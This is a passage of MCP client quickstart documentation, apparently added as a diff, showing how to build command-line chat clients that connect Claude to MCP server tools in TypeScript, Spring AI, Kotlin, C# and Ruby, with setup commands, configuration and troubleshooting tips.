+ First, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ touch index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ md mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ new-item index.ts
+ ```
+
+
+ Update your `package.json` to set `type: "module"` and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ }
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "outDir": "./build",
+ "rootDir": "./",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["index.ts"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our imports and create the basic client class in `index.ts`:
+
+ ```typescript theme={null}
+ import { Anthropic } from "@anthropic-ai/sdk";
+ import {
+ MessageParam,
+ Tool,
+ } from "@anthropic-ai/sdk/resources/messages/messages.mjs";
+ import { Client } from "@modelcontextprotocol/sdk/client/index.js";
+ import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
+ import readline from "readline/promises";
+ import dotenv from "dotenv";
+
+ dotenv.config();
+
+ const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY;
+ if (!ANTHROPIC_API_KEY) {
+ throw new Error("ANTHROPIC_API_KEY is not set");
+ }
+
+ class MCPClient {
+ private mcp: Client;
+ private anthropic: Anthropic;
+ private transport: StdioClientTransport | null = null;
+ private tools: Tool[] = [];
+
+ constructor() {
+ this.anthropic = new Anthropic({
+ apiKey: ANTHROPIC_API_KEY,
+ });
+ this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" });
+ }
+ // methods will go here
+ }
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```typescript theme={null}
+ async connectToServer(serverScriptPath: string) {
+ try {
+ const isJs = serverScriptPath.endsWith(".js");
+ const isPy = serverScriptPath.endsWith(".py");
+ if (!isJs && !isPy) {
+ throw new Error("Server script must be a .js or .py file");
+ }
+ const command = isPy
+ ? process.platform === "win32"
+ ? "python"
+ : "python3"
+ : process.execPath;
+
+ this.transport = new StdioClientTransport({
+ command,
+ args: [serverScriptPath],
+ });
+ await this.mcp.connect(this.transport);
+
+ const toolsResult = await this.mcp.listTools();
+ this.tools = toolsResult.tools.map((tool) => {
+ return {
+ name: tool.name,
+ description: tool.description,
+ input_schema: tool.inputSchema,
+ };
+ });
+ console.log(
+ "Connected to server with tools:",
+ this.tools.map(({ name }) => name)
+ );
+ } catch (e) {
+ console.log("Failed to connect to MCP server: ", e);
+ throw e;
+ }
+ }
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```typescript theme={null}
+ async processQuery(query: string) {
+ const messages: MessageParam[] = [
+ {
+ role: "user",
+ content: query,
+ },
+ ];
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-sonnet-4-20250514",
+ max_tokens: 1000,
+ messages,
+ tools: this.tools,
+ });
+
+ const finalText = [];
+
+ for (const content of response.content) {
+ if (content.type === "text") {
+ finalText.push(content.text);
+ } else if (content.type === "tool_use") {
+ const toolName = content.name;
+ const toolArgs = content.input as { [x: string]: unknown } | undefined;
+
+ const result = await this.mcp.callTool({
+ name: toolName,
+ arguments: toolArgs,
+ });
+ finalText.push(
+ `[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]`
+ );
+
+ messages.push({
+ role: "user",
+ content: result.content as string,
+ });
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-sonnet-4-20250514",
+ max_tokens: 1000,
+ messages,
+ });
+
+ finalText.push(
+ response.content[0].type === "text" ? response.content[0].text : ""
+ );
+ }
+ }
+
+ return finalText.join("\n");
+ }
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```typescript theme={null}
+ async chatLoop() {
+ const rl = readline.createInterface({
+ input: process.stdin,
+ output: process.stdout,
+ });
+
+ try {
+ console.log("\nMCP Client Started!");
+ console.log("Type your queries or 'quit' to exit.");
+
+ while (true) {
+ const message = await rl.question("\nQuery: ");
+ if (message.toLowerCase() === "quit") {
+ break;
+ }
+ const response = await this.processQuery(message);
+ console.log("\n" + response);
+ }
+ } finally {
+ rl.close();
+ }
+ }
+
+ async cleanup() {
+ await this.mcp.close();
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```typescript theme={null}
+ async function main() {
+ if (process.argv.length < 3) {
+ console.log("Usage: node index.ts ");
+ return;
+ }
+ const mcpClient = new MCPClient();
+ try {
+ await mcpClient.connectToServer(process.argv[2]);
+ await mcpClient.chatLoop();
+ } catch (e) {
+ console.error("Error:", e);
+ await mcpClient.cleanup();
+ process.exit(1);
+ } finally {
+ await mcpClient.cleanup();
+ process.exit(0);
+ }
+ }
+
+ main();
+ ```
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ # Build TypeScript
+ npm run build
+
+ # Run the client
+ node build/index.js path/to/server.py # python server
+ node build/index.js path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript), your command might look something like this: `node build/index.js .../quickstart-resources/weather-server-typescript/build/index.js`
+
+
+ **The client will:**
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Use TypeScript's type system for better error detection
+ * Wrap tool calls in try-catch blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.js for Node.js or .py for Python)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ node build/index.js ./server/build/index.js
+
+ # Absolute path
+ node build/index.js /Users/username/projects/mcp-server/build/index.js
+
+ # Windows path (either format works)
+ node build/index.js C:/projects/mcp-server/build/index.js
+ node build/index.js C:\\projects\\mcp-server\\build\\index.js
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables
+ * `TypeError`: Ensure you're using the correct types for tool arguments
+ * `BadRequestError`: Ensure you have enough credits to access the Anthropic API
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](https://java.sdk.modelcontextprotocol.io/) documentation
+
+
+ This example demonstrates how to build an interactive chatbot that combines Spring AI's Model Context Protocol (MCP) with the [Brave Search MCP Server](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/brave-search). The application creates a conversational interface powered by Anthropic's Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data.
+ [You can find the complete code for this tutorial here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/web-search/brave-chatbot)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Java 17 or higher
+ * Maven 3.6+
+ * npx package manager
+ * Anthropic API key (Claude)
+ * Brave Search API key
+
+ ## Setting Up Your Environment
+
+ 1. Install npx (Node Package eXecute):
+ First, make sure to install [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)
+ and then run:
+
+ ```bash theme={null}
+ npm install -g npx
+ ```
+
+ 2. Clone the repository:
+
+ ```bash theme={null}
+ git clone https://github.com/spring-projects/spring-ai-examples.git
+ cd model-context-protocol/web-search/brave-chatbot
+ ```
+
+ 3. Set up your API keys:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ export BRAVE_API_KEY='your-brave-api-key-here'
+ ```
+
+ 4. Build the application:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ 5. Run the application using Maven:
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure!
+
+
+ ## How it Works
+
+ The application integrates Spring AI with the Brave Search MCP server through several components:
+
+ ### MCP Client Configuration
+
+ 1. Required dependencies in pom.xml:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+
+ org.springframework.ai
+ spring-ai-starter-model-anthropic
+
+ ```
+
+ 2. Application properties (application.yml):
+
+ ```yml theme={null}
+ spring:
+ ai:
+ mcp:
+ client:
+ enabled: true
+ name: brave-search-client
+ version: 1.0.0
+ type: SYNC
+ request-timeout: 20s
+ stdio:
+ root-change-notification: true
+ servers-configuration: classpath:/mcp-servers-config.json
+ toolcallback:
+ enabled: true
+ anthropic:
+ api-key: ${ANTHROPIC_API_KEY}
+ ```
+
+ This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration.
+ The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools.
+ It is disabled by default.
+
+ 3. MCP Server Configuration (`mcp-servers-config.json`):
+
+ ```json theme={null}
+ {
+ "mcpServers": {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "BRAVE_API_KEY": ""
+ }
+ }
+ }
+ }
+ ```
+
+ ### Chat Implementation
+
+ The chatbot is implemented using Spring AI's ChatClient with MCP tool integration:
+
+ ```java theme={null}
+ var chatClient = chatClientBuilder
+ .defaultSystem("You are useful assistant, expert in AI and Java.")
+ .defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks())
+ .defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory()))
+ .build();
+ ```
+
+ Key features:
+
+ * Uses Claude AI model for natural language understanding
+ * Integrates Brave Search through MCP for real-time web search capabilities
+ * Maintains conversation memory using InMemoryChatMemory
+ * Runs as an interactive command-line application
+
+ ### Build and run
+
+ ```bash theme={null}
+ ./mvnw clean install
+ java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar
+ ```
+
+ or
+
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+ The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries.
+
+ The chatbot can:
+
+ * Answer questions using its built-in knowledge
+ * Perform web searches when needed using Brave Search
+ * Remember context from previous messages in the conversation
+ * Combine information from multiple sources to provide comprehensive answers
+
+ ### Advanced Configuration
+
+ The MCP client supports additional configuration options:
+
+ * Client customization through `McpSyncClientCustomizer` or `McpAsyncClientCustomizer`
+ * Multiple clients with multiple transport types: `STDIO` and `SSE` (Server-Sent Events)
+ * Integration with Spring AI's tool execution framework
+ * Automatic client initialization and lifecycle management
+
+ For WebFlux-based applications, you can use the WebFlux starter instead:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-mcp-client-webflux-spring-boot-starter
+
+ ```
+
+ This provides similar functionality but uses a WebFlux-based SSE transport implementation, recommended for production deployments.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/kotlin-mcp-client)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * JDK 11 or higher
+ * Anthropic API key (Claude)
+
+ ## Setting up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir kotlin-mcp-client
+ cd kotlin-mcp-client
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md kotlin-mcp-client
+ cd kotlin-mcp-client
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val anthropicVersion = "2.15.0"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("com.anthropic:anthropic-java:$anthropicVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Set up your API key:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's create the basic client class:
+
+ ```kotlin theme={null}
+ class MCPClient(apiKey: String) : AutoCloseable {
+ private val anthropic = AnthropicOkHttpClient.builder()
+ .apiKey(apiKey)
+ .build()
+
+ private val mcp: Client = Client(
+ clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0")
+ )
+ private var serverProcess: Process? = null
+ private lateinit var tools: List
+
+ // methods will go here
+
+ override fun close() {
+ runBlocking {
+ mcp.close()
+ }
+ serverProcess?.destroy()
+ anthropic.close()
+ }
+ }
+ ```
+
+ ### Server connection management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```kotlin theme={null}
+ suspend fun connectToServer(serverScriptPath: String) {
+ val command = buildList {
+ when (serverScriptPath.substringAfterLast(".")) {
+ "js" -> add("node")
+ "py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python" else "python3")
+ "jar" -> addAll(listOf("java", "-jar"))
+ else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar file")
+ }
+ add(serverScriptPath)
+ }
+
+ val process = ProcessBuilder(command).start()
+ serverProcess = process
+
+ val transport = StdioClientTransport(
+ input = process.inputStream.asSource().buffered(),
+ output = process.outputStream.asSink().buffered(),
+ )
+
+ mcp.connect(transport)
+
+ val toolsResult = mcp.listTools()
+ tools = toolsResult.tools.map { tool ->
+ ToolUnion.ofTool(
+ Tool.builder()
+ .name(tool.name)
+ .description(tool.description ?: "")
+ .inputSchema(
+ Tool.InputSchema.builder()
+ .type(JsonValue.from(tool.inputSchema.type))
+ .properties(tool.inputSchema.properties?.toJsonValue() ?: EmptyJsonObject.toJsonValue())
+ .putAdditionalProperty("required", JsonValue.from(tool.inputSchema.required))
+ .build(),
+ )
+ .build(),
+ )
+ }
+ println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name() }}")
+ }
+ ```
+
+
+ This helper converts a kotlinx.serialization `JsonObject` to an Anthropic SDK `JsonValue` using Jackson:
+
+ ```kotlin theme={null}
+ private fun JsonObject.toJsonValue(): JsonValue {
+ val mapper = ObjectMapper()
+ val node = mapper.readTree(this.toString())
+ return JsonValue.fromJsonNode(node)
+ }
+ ```
+
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```kotlin theme={null}
+ suspend fun processQuery(query: String): String {
+ val messages = mutableListOf(
+ MessageParam.builder()
+ .role(MessageParam.Role.USER)
+ .content(query)
+ .build(),
+ )
+
+ val response = anthropic.messages().create(
+ MessageCreateParams.builder()
+ .model("claude-sonnet-4-20250514")
+ .maxTokens(1024)
+ .messages(messages)
+ .tools(tools)
+ .build(),
+ )
+
+ val finalText = mutableListOf()
+ response.content().forEach { content ->
+ when {
+ content.isText() -> finalText.add(content.text().get().text())
+
+ content.isToolUse() -> {
+ val toolName = content.toolUse().get().name()
+ val toolArgs =
+ content.toolUse().get()._input().convert(object : TypeReference
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartClient)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * .NET 8.0 or higher
+ * Anthropic API key (Claude)
+ * Windows, Linux, or macOS
+
+ ## Setting up your environment
+
+ First, create a new .NET project:
+
+ ```bash theme={null}
+ dotnet new console -n QuickstartClient
+ cd QuickstartClient
+ ```
+
+ Then, add the required dependencies to your project:
+
+ ```bash theme={null}
+ dotnet add package ModelContextProtocol --prerelease
+ dotnet add package Anthropic.SDK
+ dotnet add package Microsoft.Extensions.Hosting
+ dotnet add package Microsoft.Extensions.AI
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ ```bash theme={null}
+ dotnet user-secrets init
+ dotnet user-secrets set "ANTHROPIC_API_KEY" ""
+ ```
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's setup the basic client class in the file `Program.cs`:
+
+ ```csharp theme={null}
+ using Anthropic.SDK;
+ using Microsoft.Extensions.AI;
+ using Microsoft.Extensions.Configuration;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol.Client;
+ using ModelContextProtocol.Protocol.Transport;
+
+ var builder = Host.CreateApplicationBuilder(args);
+
+ builder.Configuration
+ .AddEnvironmentVariables()
+ .AddUserSecrets();
+ ```
+
+ This creates the beginnings of a .NET console application that can read the API key from user secrets.
+
+ Next, we'll setup the MCP Client:
+
+ ```csharp theme={null}
+ var (command, arguments) = GetCommandAndArguments(args);
+
+ var clientTransport = new StdioClientTransport(new()
+ {
+ Name = "Demo Server",
+ Command = command,
+ Arguments = arguments,
+ });
+
+ await using var mcpClient = await McpClient.CreateAsync(clientTransport);
+
+ var tools = await mcpClient.ListToolsAsync();
+ foreach (var tool in tools)
+ {
+ Console.WriteLine($"Connected to server with tools: {tool.Name}");
+ }
+ ```
+
+ Add this function at the end of the `Program.cs` file:
+
+ ```csharp theme={null}
+ static (string command, string[] arguments) GetCommandAndArguments(string[] args)
+ {
+ return args switch
+ {
+ [var script] when script.EndsWith(".py") => ("python", args),
+ [var script] when script.EndsWith(".js") => ("node", args),
+ [var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]),
+ _ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj")
+ };
+ }
+ ```
+
+ This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server.
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```csharp theme={null}
+ using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"]))
+ .Messages
+ .AsBuilder()
+ .UseFunctionInvocation()
+ .Build();
+
+ var options = new ChatOptions
+ {
+ MaxOutputTokens = 1000,
+ ModelId = "claude-sonnet-4-20250514",
+ Tools = [.. tools]
+ };
+
+ Console.ForegroundColor = ConsoleColor.Green;
+ Console.WriteLine("MCP Client Started!");
+ Console.ResetColor();
+
+ PromptForInput();
+ while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase))
+ {
+ if (string.IsNullOrWhiteSpace(query))
+ {
+ PromptForInput();
+ continue;
+ }
+
+ await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options))
+ {
+ Console.Write(message);
+ }
+ Console.WriteLine();
+
+ PromptForInput();
+ }
+
+ static void PromptForInput()
+ {
+ Console.WriteLine("Enter a command (or 'exit' to quit):");
+ Console.ForegroundColor = ConsoleColor.Cyan;
+ Console.Write("> ");
+ Console.ResetColor();
+ }
+ ```
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server.
+
+ ### 2. Server Connection
+
+ * Supports Python, Node.js, and .NET servers.
+ * The server is started using the command specified in the arguments.
+ * Configures to use stdio for communication with the server.
+ * Initializes the session and available tools.
+
+ ### 3. Query Processing
+
+ * Leverages [Microsoft.Extensions.AI](https://learn.microsoft.com/dotnet/ai/ai-extensions) for the chat client.
+ * Configures the `IChatClient` to use automatic tool (function) invocation.
+ * The client reads user input and sends it to the server.
+ * The server processes the query and returns a response.
+ * The response is displayed to the user.
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ dotnet run -- path/to/server.csproj # dotnet server
+ dotnet run -- path/to/server.py # python server
+ dotnet run -- path/to/server.js # node server
+ ```
+
+
+ If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`.
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+ 4. Exit the session when done
+
+ Here's an example of what it should look like if connected to the weather server quickstart:
+
+
+
+
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-ruby)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Ruby 3.2.0 or higher installed (required by the [Anthropic SDK](https://github.com/anthropics/anthropic-sdk-ruby))
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, create a new Ruby project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ touch client.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ new-item client.rb
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our requires and create the basic client class:
+
+ ```ruby theme={null}
+ require "anthropic"
+ require "dotenv/load"
+ require "json"
+ require "mcp"
+
+ class MCPClient
+ ANTHROPIC_MODEL = "claude-sonnet-4-20250514"
+
+ def initialize
+ @mcp_client = nil
+ @transport = nil
+ @anthropic_client = nil
+ end
+
+ # methods will go here
+ end
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```ruby theme={null}
+ def connect_to_server(server_script_path)
+ command = case File.extname(server_script_path)
+ when ".rb"
+ "ruby"
+ when ".py"
+ "python3"
+ when ".js"
+ "node"
+ else
+ raise ArgumentError, "Server script must be a .rb, .py, or .js file."
+ end
+
+ @transport = MCP::Client::Stdio.new(command: command, args: [server_script_path])
+ @mcp_client = MCP::Client.new(transport: @transport)
+ @mcp_client.connect
+
+ tool_names = @mcp_client.tools.map(&:name)
+ puts "\nConnected to server with tools: #{tool_names}"
+ end
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```ruby theme={null}
+ private
+
+ def process_query(query)
+ messages = [{ role: "user", content: query }]
+
+ available_tools = @mcp_client.tools.map do |tool|
+ { name: tool.name, description: tool.description, input_schema: tool.input_schema }
+ end
+
+ # Initial Claude API call.
+ response = chat(messages, tools: available_tools)
+
+ # Process response and handle tool calls.
+ if response.content.any?(Anthropic::Models::ToolUseBlock)
+ assistant_content = response.content.filter_map do |content_block|
+ case content_block
+ when Anthropic::Models::TextBlock
+ { type: "text", text: content_block.text }
+ when Anthropic::Models::ToolUseBlock
+ { type: "tool_use", id: content_block.id, name: content_block.name, input: content_block.input }
+ end
+ end
+ messages << { role: "assistant", content: assistant_content }
+ end
+
+ response.content.each_with_object([]) do |content, response_parts|
+ case content
+ when Anthropic::Models::TextBlock
+ response_parts << content.text
+ when Anthropic::Models::ToolUseBlock
+ # Execute tool call via MCP.
+ result = @mcp_client.call_tool(name: content.name, arguments: content.input)
+ response_parts << "[Calling tool #{content.name} with args #{content.input.to_json}]"
+
+ tool_result_content = result.dig("result", "content")
+ result_text = if tool_result_content.is_a?(Array)
+ tool_result_content.filter_map { |content_item| content_item["text"] }.join("\n")
+ else
+ tool_result_content.to_s
+ end
+
+ messages << {
+ role: "user",
+ content: [{
+ type: "tool_result",
+ tool_use_id: content.id,
+ content: result_text
+ }]
+ }
+
+ # Get next response from Claude.
+ response = chat(messages)
+
+ response.content.each do |content_block|
+ response_parts << content_block.text if content_block.is_a?(Anthropic::Models::TextBlock)
+ end
+ end
+ end.join("\n")
+ end
+
+ def chat(messages, tools: nil)
+ params = { model: ANTHROPIC_MODEL, max_tokens: 1000, messages: messages }
+ params[:tools] = tools if tools
+
+ anthropic_client.messages.create(**params)
+ end
+
+ def anthropic_client
+ @anthropic_client ||= Anthropic::Client.new(api_key: ENV["ANTHROPIC_API_KEY"])
+ end
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```ruby theme={null}
+ def chat_loop
+ puts <<~MESSAGE
+ MCP Client Started!
+ Type your queries or 'quit' to exit.
+ MESSAGE
+
+ loop do
+ print "\nQuery: "
+ line = $stdin.gets
+ break if line.nil?
+
+ query = line.chomp.strip
+ break if query.downcase == "quit"
+ next if query.empty?
+
+ begin
+ response = process_query(query)
+ puts "\n#{response}"
+ rescue => e
+ puts "\nError: #{e.message}"
+ end
+ end
+ end
+
+ def cleanup
+ @transport&.close
+ end
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```ruby theme={null}
+ if ARGV.empty?
+ puts "Usage: ruby client.rb "
+ exit 1
+ end
+
+ client = MCPClient.new
+
+ begin
+ client.connect_to_server(ARGV[0])
+
+ api_key = ENV["ANTHROPIC_API_KEY"]
+ if api_key.nil? || api_key.empty?
+ puts <<~MESSAGE
+ No ANTHROPIC_API_KEY found. To query these tools with Claude, set your API key:
+ export ANTHROPIC_API_KEY=your-api-key-here
+ MESSAGE
+ exit
+ end
+
+ client.chat_loop
+ rescue => e
+ puts "Error: #{e.message}"
+ exit 1
+ ensure
+ client.cleanup
+ end
+ ```
+
+ You can find the complete `client.rb` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-ruby/client.rb).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The `MCPClient` class initializes with nil references for lazy setup
+ * The Anthropic client is lazily initialized via the `anthropic_client` method
+ * Uses `dotenv` to load environment variables from `.env`
+
+ ### 2. Server Connection
+
+ * Supports Ruby, Python, and Node.js servers
+ * Uses `File.extname` to determine the server script type
+ * Uses `MCP::Client::Stdio` for stdio transport
+ * Initializes the MCP client and lists available tools
+
+ ### 3. Query Processing
+
